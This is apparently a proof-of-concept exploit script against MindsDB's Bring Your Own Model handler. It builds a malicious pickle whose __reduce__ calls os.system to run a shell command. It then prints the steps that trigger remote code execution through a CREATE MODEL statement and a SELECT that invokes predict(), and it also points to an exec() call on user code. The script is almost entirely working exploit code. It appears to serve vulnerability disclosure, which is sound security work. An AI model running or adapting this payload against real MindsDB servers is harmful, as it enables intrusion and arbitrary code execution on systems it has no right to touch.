vellaveto's picture
PoC: MindsDB BYOM Handler — pickle.loads + exec() RCE
fda4aa3 verified
"""MindsDB BYOM Handler — pickle.loads RCE PoC
The BYOM (Bring Your Own Model) handler deserializes user-uploaded
model state via pickle.loads() without any safety checks.
Affected: mindsdb/integrations/handlers/byom_handler/byom_handler.py:398
Also: mindsdb/integrations/handlers/byom_handler/proc_wrapper.py:80 (exec on user code)
"""
import pickle
import os
class MaliciousModel:
"""When this object is unpickled, it executes arbitrary code."""
def __reduce__(self):
return (os.system, ('id > /tmp/pwned',))
# This is what happens when a user creates a BYOM model
# The model state is pickle.dumps'd during train() and pickle.loads'd during predict()
malicious_state = pickle.dumps(MaliciousModel())
print(f"Malicious pickle payload: {len(malicious_state)} bytes")
print("When MindsDB calls predict() on this model, pickle.loads(model_state) triggers RCE")
print()
print("Attack chain:")
print("1. CREATE MODEL pwned USING engine='byom', code='<malicious model code>'")
print("2. SELECT * FROM pwned WHERE input='test' -- triggers predict()")
print("3. predict() calls pickle.loads(model_state) → RCE")
print()
print("Additionally, proc_wrapper.py:80 calls exec(code) on the model code directly")